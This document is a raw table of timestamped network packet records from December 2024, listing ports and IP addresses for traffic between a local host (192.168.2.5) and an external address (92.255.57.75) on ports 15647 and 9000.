Dec 17, 2024 08:40:23.781919003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.782120943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.789971113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.790215015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.806158066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.806262970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.826280117 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.826436043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.849040031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.849167109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.879942894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.880114079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.909198046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.911369085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.911680937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.931036949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.931231022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.954148054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.969027042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:23.969243050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:23.991516113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.007759094 CET	9000	50058	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.008171082 CET	50058	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.008279085 CET	9000	50058	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.008424044 CET	50058	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.008729935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.009429932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.009462118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.009577036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.029418945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.029537916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.041182995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.042217970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.063330889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.074325085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.074431896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.075383902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.075453043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.075453997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.075690985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.107997894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.111375093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.111607075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.120414972 CET	50059	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.122931004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.122942924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.123286963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.124438047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.125849009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.125859022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.125910997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.128084898 CET	9000	50058	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.137373924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.137660027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.138446093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.162029982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.162144899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.176127911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.176234961 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.176407099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.183363914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.183506966 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.202135086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.202393055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.228039980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.228240967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.240236998 CET	9000	50059	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.240303993 CET	50059	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.240434885 CET	50059	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.248402119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.248429060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.248557091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.248557091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.250129938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.250308037 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.266726971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.266891003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.296118975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.296209097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.296904087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.296915054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.297019958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.299499035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.299639940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.343367100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.348206043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.348278999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.348356009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.348479033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.348555088 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.348624945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.351270914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.351995945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.360297918 CET	9000	50059	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.367650986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.367888927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.370057106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.371025085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.396007061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.399866104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.399960995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.400259972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.401432037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.401515961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.416157007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.419485092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.419626951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.439841986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.440829039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.442147017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.442260027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.442285061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.460024118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.463269949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.463881016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.467169046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.467245102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.467305899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.468346119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.471831083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.474411964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.474631071 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.490804911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.491883039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.511812925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.511945963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.512080908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.513381958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.515868902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.515968084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.521290064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.523907900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.540189981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.540581942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.559686899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.559874058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.568847895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.568947077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.569077969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.579900026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.583878040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.587152958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.587996960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.591763973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.595856905 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.611665010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.611881018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.629868031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.633846045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.635886908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.643990040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.645457983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.663487911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.679667950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.679882050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.697856903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.703671932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.703973055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.707802057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.709072113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.730417967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.731765985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.735994101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.749794006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.751292944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.754132986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.755886078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.765326023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.767860889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.783512115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.783713102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.783942938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.784617901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.784734011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.785126925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.805463076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.817949057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.820168972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.823798895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.824220896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.824352980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.824392080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.836637974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.836657047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.836750984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.850500107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.851876974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.871357918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.871946096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.872150898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.872297049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.872333050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.872421026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.878662109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.878778934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.878850937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.895931959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.897164106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.897306919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.897368908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.904881954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.907824039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.912110090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.925419092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.927880049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.929311037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.929378033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.929393053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.930478096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.944082022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.944173098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.957434893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.957530022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.975759983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.975821018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.975868940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.992604017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.992734909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:24.999697924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.999819994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:24.999886990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.021330118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.021686077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.028702974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.028798103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.047950983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.048202038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.050276995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.050617933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.063642025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.063695908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.063844919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.070435047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.072048903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.073627949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.073684931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.073693037 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.080470085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.084140062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.108679056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.112585068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.114728928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.114780903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.114847898 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.118216038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.118302107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.118475914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.120974064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.121967077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.143590927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.146255016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.146330118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.146436930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.166271925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.168086052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.169867039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.171832085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.171935081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.172096014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.190737963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.192428112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.192461967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.192660093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.204056025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.206434965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.209368944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.221491098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.221553087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.222790003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.228601933 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.231338978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.238234997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.238302946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.239801884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.239912987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.242396116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.242666006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.261425018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.261562109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.261615038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.263418913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.263704062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.269680977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.269798994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.286318064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.286571026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.288917065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.289031029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.289036989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.291893959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.291987896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.304614067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.304738045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.326230049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.326349020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.333998919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.334041119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.334144115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.340588093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.341665983 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.358083963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.358218908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.360229969 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.379574060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.383414984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.383771896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.384138107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.384149075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.385993004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.406404018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.406476021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.411688089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.411941051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.413491964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.413574934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.439742088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.446115971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.446206093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.453305006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.453412056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.461595058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.461673975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.478430986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.478565931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.499454975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.499865055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.504571915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.507066011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.526314020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.530061007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:25.531713009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.531775951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:25.531779051 CET	49998	15647	192.168.2.5	92.255.57.75
